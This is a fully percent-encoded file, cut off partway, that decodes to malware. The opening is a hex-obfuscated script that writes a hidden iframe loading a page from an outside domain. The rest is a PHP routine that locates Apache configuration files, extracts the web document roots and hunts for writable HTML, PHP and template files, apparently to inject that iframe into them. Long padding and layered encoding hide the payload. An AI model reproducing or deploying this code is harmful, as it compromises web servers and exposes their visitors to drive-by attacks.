20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%63%72%69%70%74%3E%20%76%61%72%20%73%3D%27%33%43%36%39%36%36%37%32%36%31%36%44%36%35%32%30%37%33%37%32%36%33%33%44%32%32%36%38%37%34%37%34%37%30%33%41%32%46%32%46%37%37%37%37%37%37%32%45%36%38%37%31%36%44%37%30%36%37%32%45%36%33%36%46%36%44%32%46%36%36%37%32%36%35%36%35%37%30%36%46%37%32%36%45%32%46%37%34%36%38%37%35%36%44%36%32%37%33%32%46%37%41%32%46%37%33%37%34%36%31%37%34%36%39%36%33%32%45%37%30%36%38%37%30%32%32%32%30%37%37%36%39%36%34%37%34%36%38%33%44%33%32%32%30%36%38%36%35%36%39%36%37%36%38%37%34%33%44%33%32%32%30%37%33%37%34%37%39%36%43%36%35%33%44%32%32%36%34%36%39%37%33%37%30%36%43%36%31%37%39%33%41%36%45%36%46%36%45%36%35%32%32%33%45%33%43%32%46%36%39%36%36%37%32%36%31%36%44%36%35%33%45%27%3B%20%76%61%72%20%6F%3D%27%27%3B%20%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%3D%69%2B%32%29%20%7B%20%76%61%72%20%63%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%33%37%29%3B%20%20%6F%3D%6F%2B%63%2B%73%2E%73%75%62%73%74%72%28%69%2C%32%29%3B%7D%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%6F%29%29%3B%20%3C%2F%73%63%72%69%70%74%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22%3B%0A%0A%65%72%72%6F%72%5F%72%65%70%6F%72%74%69%6E%67%28%20%45%5F%45%52%52%4F%52%20%29%3B%0A%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%30%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%31%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%32%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2E%2F%2E%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%33%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2E%2F%2E%2E%2F%2E%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%34%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%27%3B%20%7D%0A%0A%24%70%61%74%68%3D%24%61%72%67%76%5B%31%5D%3B%0A%69%66%20%28%73%74%72%6C%65%6E%28%24%70%61%74%68%29%3C%32%29%7B%20%24%70%61%74%68%3D%24%5F%47%45%54%5B%70%5D%3B%20%7D%0A%69%66%20%28%73%74%72%6C%65%6E%28%24%70%61%74%68%29%3C%32%29%7B%20%24%70%61%74%68%3D%27%2E%2F%27%3B%20%7D%0A%0A%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%31%30%30%20%6F%72%20%24%61%72%67%76%5B%32%5D%3D%3D%27%31%30%30%27%29%20%0A%7B%0A%24%73%65%72%76%65%72%72%6F%6F%74%3D%27%27%3B%0A%24%70%61%74%68%73%20%3D%20%67%65%74%70%61%74%68%73%28%29%3B%0A%65%63%68%6F%20%22%70%61%74%68%73%3D%24%70%61%74%68%73%5C%6E%22%3B%0A%0A%24%63%6F%75%6E%74%77%72%3D%30%3B%0A%24%63%6F%75%6E%74%64%6F%6E%65%3D%30%3B%0A%24%63%6F%75%6E%74%70%72%65%76%3D%30%3B%0A%24%61%6C%6C%20%3D%20%65%78%70%6C%6F%64%65%28%27%3A%3A%27%2C%24%70%61%74%68%73%29%3B%0A%66%6F%72%65%61%63%68%20%28%24%61%6C%6C%20%61%73%20%24%70%61%74%68%29%0A%7B%0A%20%20%63%68%65%63%6B%70%61%74%68%28%24%70%61%74%68%29%3B%0A%7D%0A%0A%65%63%68%6F%20%22%20%20%43%6F%75%6E%74%57%52%3A%20%24%63%6F%75%6E%74%77%72%3C%62%72%3E%5C%6E%22%3B%0A%65%63%68%6F%20%22%43%6F%75%6E%74%44%6F%6E%65%3A%20%24%63%6F%75%6E%74%64%6F%6E%65%3C%62%72%3E%5C%6E%22%3B%0A%65%63%68%6F%20%22%43%6F%75%6E%74%50%72%65%76%3A%20%24%63%6F%75%6E%74%70%72%65%76%3C%62%72%3E%5C%6E%22%3B%0A%0A%0A%65%78%69%74%3B%0A%0A%7D%0A%0A%65%6C%73%65%0A%7B%0A%20%20%20%20%24%63%6F%75%6E%74%77%72%3D%30%3B%0A%20%20%20%20%24%63%6F%75%6E%74%64%6F%6E%65%3D%30%3B%0A%20%20%20%20%24%63%6F%75%6E%74%70%72%65%76%3D%30%3B%0A%20%20%20%20%63%68%65%63%6B%70%61%74%68%28%24%70%61%74%68%29%3B%0A%20%20%20%20%65%63%68%6F%20%22%20%20%43%6F%75%6E%74%57%52%3A%20%24%63%6F%75%6E%74%77%72%3C%62%72%3E%5C%6E%22%3B%0A%20%20%20%20%65%63%68%6F%20%22%43%6F%75%6E%74%44%6F%6E%65%3A%20%24%63%6F%75%6E%74%64%6F%6E%65%3C%62%72%3E%5C%6E%22%3B%0A%20%20%20%20%65%63%68%6F%20%22%43%6F%75%6E%74%50%72%65%76%3A%20%24%63%6F%75%6E%74%70%72%65%76%3C%62%72%3E%5C%6E%22%3B%0A%7D%0A%0A%65%78%69%74%3B%0A%0A%66%75%6E%63%74%69%6F%6E%20%67%65%74%70%61%74%68%73%28%29%0A%7B%0A%20%20%67%6C%6F%62%61%6C%20%24%64%65%62%75%67%2C%24%73%65%72%76%65%72%72%6F%6F%74%3B%0A%23%20%20%69%66%20%28%24%64%65%62%75%67%21%3D%31%29%20%7B%20%69%66%20%28%66%69%6C%65%5F%65%78%69%73%74%73%28%27%2F%74%6D%70%2F%70%61%74%68%73%27%29%29%20%7B%20%72%65%74%75%72%6E%20%27%27%3B%20%7D%20%20%24%66%70%3D%66%6F%70%65%6E%28%27%2F%74%6D%70%2F%70%61%74%68%73%27%2C%27%77%27%29%3B%20%66%63%6C%6F%73%65%28%24%66%70%29%3B%20%7D%0A%0A%20%20%20%20%24%70%61%74%68%73%20%3D%20%27%3A%3A%27%3B%0A%0A%20%20%20%20%24%63%6F%6D%6D%61%6E%64%20%20%3D%20%27%66%69%6E%64%20%2F%65%74%63%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%5C%27%68%74%74%70%64%5C%2E%63%6F%6E%66%5C%27%27%3B%0A%20%20%20%20%24%63%6F%6D%6D%61%6E%64%20%2E%3D%20%27%3B%66%69%6E%64%20%2F%76%61%72%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%5C%27%68%74%74%70%64%5C%2E%63%6F%6E%66%5C%27%27%3B%0A%20%20%20%20%24%63%6F%6D%6D%61%6E%64%20%2E%3D%20%27%3B%66%69%6E%64%20%2F%75%73%72%2F%6C%6F%63%61%6C%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%5C%27%68%74%74%70%64%5C%2E%63%6F%6E%66%5C%27%27%3B%0A%20%20%20%20%24%66%70%20%3D%20%70%6F%70%65%6E%28%24%63%6F%6D%6D%61%6E%64%2C%27%72%27%29%3B%0A%20%20%20%20%77%68%69%6C%65%20%28%21%66%65%6F%66%28%24%66%70%29%29%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%24%66%6E%61%6D%65%20%3D%20%66%67%65%74%73%28%24%66%70%29%3B%20%20%0A%20%20%20%20%20%20%24%66%6E%61%6D%65%20%3D%20%73%75%62%73%74%72%28%24%66%6E%61%6D%65%2C%30%2C%73%74%72%6C%65%6E%28%24%66%6E%61%6D%65%29%2D%31%29%3B%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%66%6E%61%6D%65%29%3C%31%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%20%20%20%20%65%63%68%6F%20%22%68%74%74%70%64%2E%63%6F%6E%66%3A%20%22%2E%24%66%6E%61%6D%65%2E%22%5C%6E%22%3B%0A%20%20%20%20%20%20%69%66%20%28%24%64%65%62%75%67%3D%3D%31%29%20%7B%20%24%66%6E%61%6D%65%3D%27%68%74%74%70%64%2E%63%6F%6E%66%27%3B%20%7D%0A%20%20%20%20%20%20%24%70%61%74%68%73%20%3D%20%63%68%65%63%6B%63%6F%6E%66%28%24%66%6E%61%6D%65%2C%24%70%61%74%68%73%2C%27%27%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%7D%0A%20%20%20%20%70%63%6C%6F%73%65%28%24%66%70%29%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%30%2C%32%29%3D%3D%27%3A%3A%27%29%20%20%7B%20%24%70%61%74%68%73%20%3D%20%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%32%2C%73%74%72%6C%65%6E%28%24%70%61%74%68%73%29%2D%32%29%3B%7D%0A%20%20%20%20%20%20%69%66%20%28%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%2D%32%2C%32%29%3D%3D%27%3A%3A%27%29%20%7B%20%24%70%61%74%68%73%20%3D%20%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%30%2C%73%74%72%6C%65%6E%28%24%70%61%74%68%73%29%2D%32%29%3B%7D%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%70%61%74%68%73%29%3D%3D%30%29%20%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%65%63%68%6F%20%22%50%61%74%68%73%20%66%6F%75%6E%64%3A%20%30%5C%6E%22%3B%20%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%65%6C%73%65%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%65%63%68%6F%20%22%45%4E%44%20%50%61%74%68%73%20%66%6F%75%6E%64%3A%20%22%2E%28%63%6F%75%6E%74%28%65%78%70%6C%6F%64%65%28%27%3A%3A%27%2C%24%70%61%74%68%73%29%29%29%2E%22%5C%6E%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%0A%0A%20%20%20%20%72%65%74%75%72%6E%20%24%70%61%74%68%73%3B%0A%0A%7D%0A%0A%0A%0A%66%75%6E%63%74%69%6F%6E%20%63%68%65%63%6B%63%6F%6E%66%28%24%66%6E%61%6D%65%2C%24%70%61%74%68%73%2C%24%73%65%72%76%65%72%72%6F%6F%74%29%0A%7B%0A%23%20%20%20%20%65%63%68%6F%20%22%63%68%65%63%6B%69%6E%67%20%63%6F%6E%66%20%66%69%6C%65%3A%20%24%66%6E%61%6D%65%5C%6E%22%3B%0A%0A%20%20%20%20%24%66%70%20%3D%20%66%6F%70%65%6E%28%24%66%6E%61%6D%65%2C%27%72%27%29%3B%0A%20%20%20%20%69%66%20%28%21%24%66%70%29%20%7B%20%20%65%63%68%6F%20%22%70%65%72%6D%69%73%73%69%6F%6E%20%64%65%6E%69%65%64%3A%20%24%66%6E%61%6D%65%5C%6E%22%3B%20%72%65%74%75%72%6E%20%27%27%3B%20%7D%0A%20%20%20%20%0A%20%20%20%20%77%68%69%6C%65%20%28%21%66%65%6F%66%28%24%66%70%29%29%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%24%73%74%72%20%3D%20%66%67%65%74%73%28%24%66%70%29%3B%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%75%62%73%74%72%28%24%73%74%72%2C%30%2C%31%29%3D%3D%27%23%27%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%53%65%72%76%65%72%52%6F%6F%74%27%29%29%20%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%6C%69%73%74%20%28%24%74%65%6D%70%2C%24%73%72%6F%6F%74%29%20%3D%20%65%78%70%6C%6F%64%65%28%27%53%65%72%76%65%72%52%6F%6F%74%27%2C%24%73%74%72%29%3B%0A%09%24%73%72%6F%6F%74%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%27%20%27%2C%27%27%2C%24%73%72%6F%6F%74%29%3B%0A%09%24%73%72%6F%6F%74%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%6E%22%2C%27%27%2C%24%73%72%6F%6F%74%29%3B%0A%09%24%73%72%6F%6F%74%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%22%22%2C%27%27%2C%24%73%72%6F%6F%74%29%3B%0A%09%69%66%20%28%73%75%62%73%74%72%5F%63%6F%75%6E%74%28%24%73%72%6F%6F%74%2C%27%2F%27%29%3C%32%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%24%73%65%72%76%65%72%72%6F%6F%74%20%3D%20%24%73%72%6F%6F%74%3B%0A%09%69%66%20%28%73%75%62%73%74%72%28%24%73%65%72%76%65%72%72%6F%6F%74%2C%2D%31%2C%31%29%21%3D%27%2F%27%29%20%7B%20%24%73%65%72%76%65%72%72%6F%6F%74%2E%3D%27%2F%27%3B%7D%0A%09%65%63%68%6F%20%22%53%65%72%76%65%72%52%6F%6F%74%3A%20%2D%24%73%65%72%76%65%72%72%6F%6F%74%2D%5C%6E%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%44%6F%63%75%6D%65%6E%74%52%6F%6F%74%27%29%29%20%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%6C%69%73%74%20%28%24%74%65%6D%70%2C%24%70%61%74%68%29%20%3D%20%65%78%70%6C%6F%64%65%28%27%44%6F%63%75%6D%65%6E%74%52%6F%6F%74%27%2C%24%73%74%72%29%3B%0A%09%24%70%61%74%68%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%27%20%27%2C%27%27%2C%24%70%61%74%68%29%3B%0A%09%24%70%61%74%68%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%6E%22%2C%27%27%2C%24%70%61%74%68%29%3B%0A%09%24%70%61%74%68%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%22%22%2C%27%27%2C%24%70%61%74%68%29%3B%0A%09%69%66%20%28%73%75%62%73%74%72%5F%63%6F%75%6E%74%28%24%70%61%74%68%2C%27%2F%27%29%3C%32%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%69%66%20%28%21%28%73%74%72%73%74%72%28%24%70%61%74%68%73%2C%27%3A%3A%27%2E%24%70%61%74%68%2E%27%3A%3A%27%29%29%29%20%7B%20%24%70%61%74%68%73%20%2E%3D%20%24%70%61%74%68%2E%27%3A%3A%27%3B%20%65%63%68%6F%20%22%41%44%44%45%44%20%50%41%54%48%3A%20%24%70%61%74%68%5C%6E%22%3B%20%7D%0A%09%2F%2F%65%63%68%6F%20%22%5B%30%5D%20%70%61%74%68%73%3D%24%70%61%74%68%73%5C%6E%22%20%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%6E%63%6C%75%64%65%27%29%20%26%26%20%28%21%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%6F%64%75%6C%65%27%29%29%29%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%6C%69%73%74%20%28%24%74%65%6D%70%2C%24%66%6E%61%6D%65%29%20%3D%20%65%78%70%6C%6F%64%65%28%27%6E%63%6C%75%64%65%27%2C%24%73%74%72%29%3B%0A%09%24%66%6E%61%6D%65%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%27%20%27%2C%27%27%2C%24%66%6E%61%6D%65%29%3B%0A%09%24%66%6E%61%6D%65%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%6E%22%2C%27%27%2C%24%66%6E%61%6D%65%29%3B%0A%09%24%66%6E%61%6D%65%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%22%22%2C%27%27%2C%24%66%6E%61%6D%65%29%3B%0A%09%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%2A%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%0A%23%09%65%63%68%6F%20%22%5B%61%5D%20%66%6E%61%6D%65%3D%24%66%6E%61%6D%65%5C%6E%22%3B%0A%09%69%66%20%28%73%75%62%73%74%72%28%24%66%6E%61%6D%65%2C%30%2C%31%29%20%21%3D%20%27%2F%27%29%20%0A%09%7B%0A%09%20%24%66%6E%61%6D%65%20%3D%20%24%73%65%72%76%65%72%72%6F%6F%74%2E%24%66%6E%61%6D%65%3B%20%0A%23%09%20%65%63%68%6F%20%22%5B%62%5D%20%66%6E%61%6D%65%3D%24%66%6E%61%6D%65%5C%6E%22%3B%20%0A%09%7D%0A%09%0A%09%69%66%20%28%21%28%66%69%6C%65%5F%65%78%69%73%74%73%28%24%66%6E%61%6D%65%29%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%0A%20%20%20%20%20%20%20%20%65%63%68%6F%20%22%69%6E%63%6C%75%64%65%3A%20%24%66%6E%61%6D%65%5C%6E%22%3B%0A%09%24%70%61%74%68%73%20%3D%20%63%68%65%63%6B%63%6F%6E%66%28%24%66%6E%61%6D%65%2C%24%70%61%74%68%73%2C%24%73%65%72%76%65%72%72%6F%6F%74%29%3B%0A%20%20%20%20%20%20%7D%20%0A%20%20%20%20%20%0A%20%20%20%20%7D%0A%20%20%20%20%66%63%6C%6F%73%65%28%24%66%70%29%3B%0A%20%20%20%20%0A%20%20%20%20%2F%2F%65%63%68%6F%20%22%5B%31%5D%20%70%61%74%68%73%3D%24%70%61%74%68%73%20%66%6E%61%6D%65%3D%24%66%6E%61%6D%65%5C%6E%22%20%3B%0A%20%20%20%20%0A%20%20%20%20%72%65%74%75%72%6E%20%24%70%61%74%68%73%3B%0A%7D%0A%0A%66%75%6E%63%74%69%6F%6E%20%63%68%65%63%6B%70%61%74%68%28%24%70%61%74%68%29%0A%7B%20%0A%0A%67%6C%6F%62%61%6C%20%24%63%6F%64%65%2C%24%63%6F%75%6E%74%77%72%2C%24%63%6F%75%6E%74%64%6F%6E%65%2C%24%63%6F%75%6E%74%70%72%65%76%3B%0A%0A%0A%23%70%72%69%6E%74%20%27%66%69%6E%64%20%27%2E%24%70%61%74%68%2E%27%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%2D%65%20%2E%68%74%6D%6C%24%20%2D%65%20%2E%70%68%70%24%20%2D%65%20%2E%68%74%6D%24%20%2D%65%20%2E%74%70%6C%24%20%20%2D%65%20%2E%74%65%6D%70%6C%24%20%2D%65%20%2E%74%6D%70%6C%24%27%3B%0A%24%66%70%20%3D%20%70%6F%70%65%6E%28%27%66%69%6E%64%20%27%2E%24%70%61%74%68%2E%27%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%2D%65%20%2E%68%74%6D%6C%24%20%2D%65%20%2E%70%68%70%24%20%2D%65%20%2E%68%74%6D%24%20%2D%65%20%2E%74%70%6C%24%20%20%2D%65%20%2E%74%65%6D%70%6C%24%20%2D%65%20%2E%74%6D%70%6C%24%27%2C%27%72%27%29%3B%0A%0A%77%68%69%6C%65%20%28%21%66%65%6F%66%28%24%66%70%29%29%0A%7B%0A%20%20%24%66%6E%61%6D%65%20%3D%20%66%67%65%74%73%28%24%66%70%29%3B%20%20%0A%20%20%24%66%6E%61%6D%65%20%3D%20%73%75%62%73%74%72%28%24%66%6E%61%6D%65%2C%30%2C%73%74%72%6C%65%6E%28%24%66%6E%61%6D%65%29%2D%31%29%3B%0A%20%20%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%62%75%67%2E%70%68%70%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%61%64%6D%69%6E%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%62%61%63%6B%75%70%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%69%6E%2E%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%6F%75%74%2E%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%63%72%6F%6E%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%2E%65%65%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%0A%20%20%24%66%66%20%3D%20%66%6F%70%65%6E%28%24%66%6E%61%6D%65%2C%27%61%27%29%3B%0A%20%20%69%66%20%28%21%24%66%66%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%66%63%6C%6F%73%65%28%24%66%66%29%3B%0A%20%20%0A%20%20%69%66%20%28%66%69%6C%65%73%69%7A%65%28%24%66%6E%61%6D%65%29%3E%32%30%30%30%30%30%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%0A%20%20%0A%23%20%20%65%63%68%6F